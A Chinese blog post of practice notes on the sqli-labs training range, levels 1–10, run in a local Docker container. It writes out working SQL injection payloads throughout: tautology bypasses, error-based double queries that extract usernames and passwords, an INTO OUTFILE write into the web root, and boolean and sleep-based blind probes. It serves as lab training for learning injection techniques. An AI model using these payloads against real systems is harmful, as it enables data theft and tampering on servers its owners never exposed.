【web安全】sqli-lab靶场1-10关练习笔记

admin 2021年12月31日08:27:21评论323 views字数 4249阅读14分9秒阅读模式
【web安全】sqli-lab靶场1-10关练习笔记

【web安全】sqli-lab靶场1-10关练习笔记




【web安全】sqli-lab靶场1-10关练习笔记



0x00 虚拟机搭建sqli-lab

大家好,我是许心痕。这是我写的靶场笔记,欢迎阅读。

这里采用docker一键部署。

本文采用ubuntu16.04安装
更新源:sudo apt-get update && sudo apt-get upgrade -y安装docker:curl -s https://get.docker.com/ | sh搜索docker镜像中的sqli-lab靶场:docker search sqli-lab //第一个就是我们要找的靶场镜像镜像下载:docker pull acgpiano/sqli-labs运行镜像容器:docker run -d -p 80:80 acgpiano/sqli-labs打开靶场后请先重置数据库,然后我们从第一页开始做起


0x01 sqli-lab第一关

【web安全】sqli-lab靶场1-10关练习笔记

第一关使用GET参数,单引号&&字符串&&显错注入。

url中添加get参数?id=1,即

http://192.168.28.58/Less-1/?id=1进入注入页面。

在url后面添加英文输入法中的单引号,即

http://192.168.28.58/Less-1/?id=1',则报错

【web安全】sqli-lab靶场1-10关练习笔记

此时的sql查询语句为:

select * from users where id='1''


两个单引号,所以报错


那么在我们构造查询语句:http://192.168.28.58/Less-1/?id=-1' or '1

此时的查询语句为:

select * form users where id='-1' or '1'

因为or 后边是'1'是true ,虽然id='-1'是false,但是执行或运算以后,只要有一个是true,那么整个语句永远为true。则正常显示

【web安全】sqli-lab靶场1-10关练习笔记


0x02 sqli-lab第二关

【web安全】sqli-lab靶场1-10关练习笔记

第二关是GET型&&整数&&显错注入,同样在url后面输入get参数?id=1。后面就不讲了,1-10关都是GET型注入。

在url后面添加:

http://192.168.28.58/Less-2/?id=1a

报错

【web安全】sqli-lab靶场1-10关练习笔记

构造语句,使用一个不存在的用户id=-1:

http://192.168.28.58/Less-2/?id=-1 or 1

,返回正常

【web安全】sqli-lab靶场1-10关练习笔记

此时的查询语句为:

select * form users where id=-1 or 1


原理跟第一关一样,或运算有一个为true,那么整个语句也是永真true条件


0x03 sqli-lab第三关

【web安全】sqli-lab靶场1-10关练习笔记

第三关是GET&&有括号的单引号&&字符串&&显错注入

构造语句,使用一个不存在的用户id=-1:

http://192.168.28.58/Less-3/?id=-1') or ('1

,返回正常【web安全】sqli-lab靶场1-10关练习笔记

此时的查询语句为:

select * form users where id=('-1') or ('1')


原理还是构造了一个永远是true的sql语句。


0x04 sqli-lab第四关

第四关是GET&&有括号的双引号&&字符串&&显错注入

构造语句,使用一个不存在的用户id=-1:

http://192.168.28.58/Less-4/?id=-1") or ("1


【web安全】sqli-lab靶场1-10关练习笔记

此时的查询语句为:

select * form users where id=("-1") or ("1")

返回正常


0x05 sqli-lab第五关

【web安全】sqli-lab靶场1-10关练习笔记

第五关是GET&&双查询&&单引号&&字符串&&显错注入。

第五关稍微有点难度,我们的目的是让这个页面显示出任意一个用户的名字。双查询注入是利用了数据库出错的原理,爆破出数据。我们爆出第一个用户id=1的名字

构造语句:

http://192.168.28.58/Less-5/?id=1' union select count(*), count(*),concat(0x3a,0x3a,(select concat(username,0x3a,password) from users where id=1),0x3a,0x3a, floor (rand()*2)) a from information_schema.tables group by a;-- '


【web安全】sqli-lab靶场1-10关练习笔记这种注入利用了随机函数,因此成功率不是100%。我们重复刷新页面,成功爆出用户名为Dumb

此时的查询语句为:

select * from users where id='1' union select count(*), count(*),concat(0x3a,0x3a,(select concat(username,0x3a,password) from users where id=1),0x3a,0x3a, floor (rand()*2)) a from information_schema.tables group by a;-- '

【web安全】sqli-lab靶场1-10关练习笔记


0x06 sqli-lab第六关

第六关是GET&&双查询&&双引号&&字符串&&显错注入。

第六关稍微有点难度,我们的目的是让这个页面显示出任意一个用户的名字。双查询注入是利用了数据库出错的原理,爆破出数据。我们爆出第一个用户id=1的名字

构造语句:

http://192.168.28.58/Less-6/?id=1" union select count(*), count(*),concat(0x3a,0x3a,(select concat(username,0x3a,password) from users where id=1),0x3a,0x3a, floor (rand()*2)) a from information_schema.tables group by a;-- "


这种注入利用了随机函数,因此成功率不是100%。我们重复刷新七八次页面,成功爆出用户名为Dumb

此时的查询语句为:

select * from users where id="1" union select count(*), count(*),concat(0x3a,0x3a,(select concat(username,0x3a,password) from users where id=1),0x3a,0x3a, floor (rand()*2)) a from information_schema.tables group by a;-- "

【web安全】sqli-lab靶场1-10关练习笔记


0x07 sqli-lab第七关

【web安全】sqli-lab靶场1-10关练习笔记

第七关是GET&&双查询&&双引号&&字符串&&显错注入,目的是dump输出一个文件。

因为表里有三个字段,那么可以使用union联合查询构造语句:

http://192.168.28.58/Less-7/?id=1")) union select 1,2,3 --(( "


此时的查询语句是

select * from users where id=(('1')) union select 1,2,3 --(( ')


在linux中,网站一般是放在/var/www/html目录里,这里我们dump一个文件到这个目录,名字是hacker.txt。

这里不说上传网马。

构造语句:

http://192.168.28.58/Less-7/?id=1')) union select 1,'hacker by xuxinhen',3 into outfile '/var/www/html/hacker.txt' -- (( '


【web安全】sqli-lab靶场1-10关练习笔记

虽然报错,但是文件已经生成

打开链接:

http://192.168.28.58/hacker.txt即可找到

此时的sql语句为:

select * from users where id=(('1')) union select 1,'hacker by xuxinhen',3 into outfile '/var/www/html/hacker.txt' -- (( '


0x08 sqli-lab第八关

【web安全】sqli-lab靶场1-10关练习笔记

第八关是GET&&布尔&&单引号盲注,所谓盲注就是不显示任何错误,只能猜解。

我们猜测当前数据库用户的第一个字母,在sql 里语句ascii(substr(user(),1,1)) 表示当前数据库用户名字的第一个字母的ascii值。

构造语句:

http://192.168.28.58/Less-8/?id=1' and ascii(substr(user(),1,1))<100 -- '


【web安全】sqli-lab靶场1-10关练习笔记

如果当前用户第一个字母的ascii值小于100 则页面应该显示 You are in 才对。但是没有,所以是大于100,

如果构造:

http://192.168.28.58/Less-8/?id=1' and ascii(substr(user(),1,1))<150 -- ' 

则返回正常

【web安全】sqli-lab靶场1-10关练习笔记

则说明首字母ascii在100-150之间,利用折半法快速查询,可以查到首字母ascii是114,对应字母r

【web安全】sqli-lab靶场1-10关练习笔记


0x09 sqli-lab第九关

【web安全】sqli-lab靶场1-10关练习笔记

第九关是GET&&布尔&&单引号基于时间盲注,所谓时间盲注就是利用sleep函数,让数据库睡一会儿,这样这个网页就会打开的很忙,根据网页打开的时间差来判断ascii值等等。

我们当前的数据库用户是root,可以通过前几课注入出来。

Mysql 里有个函数 if(条件,表达1,表达2) 如果条件是true在执行表达式1 否则执行表达式2

构造语句:

http://192.168.28.58/Less-9/?id=1' and sleep(5) --'


那么当前网页5秒钟之后才正常打开

我们判断当前用户是否是root用户,可以构造语句:

http://192.168.28.58/Less-9/?id=1' and if((select substr(user(),1,4)='root' ),sleep(5),null) --'


如果5秒钟之后才打开,说明判断用户是root用户,如果一下子就打开了,那么说明不是root用户

【web安全】sqli-lab靶场1-10关练习笔记



0x10 sqli-lab第十关


第十关是GET&&布尔&&双引号基于时间盲注,跟第九关差不多。不多说了,写到这里已经很累的,好困啊,现在是23:14分,写完这个该睡觉了。

【web安全】sqli-lab靶场1-10关练习笔记

判断是否是root用户,构造语句:

http://192.168.28.58/Less-10/?id=1" and if((select substr(user(),1,4)='root' ),sleep(5),null) --"


【web安全】sqli-lab靶场1-10关练习笔记

五秒钟后才正常打开,说明当前用户是root用户


结束语

这篇文章写了很长时间了,这些注入语句也算是基础的内容,加深了我对SQL注入的印象。当然在实际做web渗透过程中肯定没有那么简单。不过能用工具的最好不用手工,节省时间,提高效率。我第一次写注入文章好像是,有些不对的地方还请加我QQ2063367671指出!



往期精彩回顾
【二进制安全】熊猫烧香病毒分析
【信息安全】信息安全理论笔记
分享图片




END


【web安全】sqli-lab靶场1-10关练习笔记



本文始发于微信公众号(Khan安全攻防实验室):【web安全】sqli-lab靶场1-10关练习笔记

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日08:27:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【web安全】sqli-lab靶场1-10关练习笔记http://cn-sec.com/archives/535422.html

发表评论

匿名网友 填写信息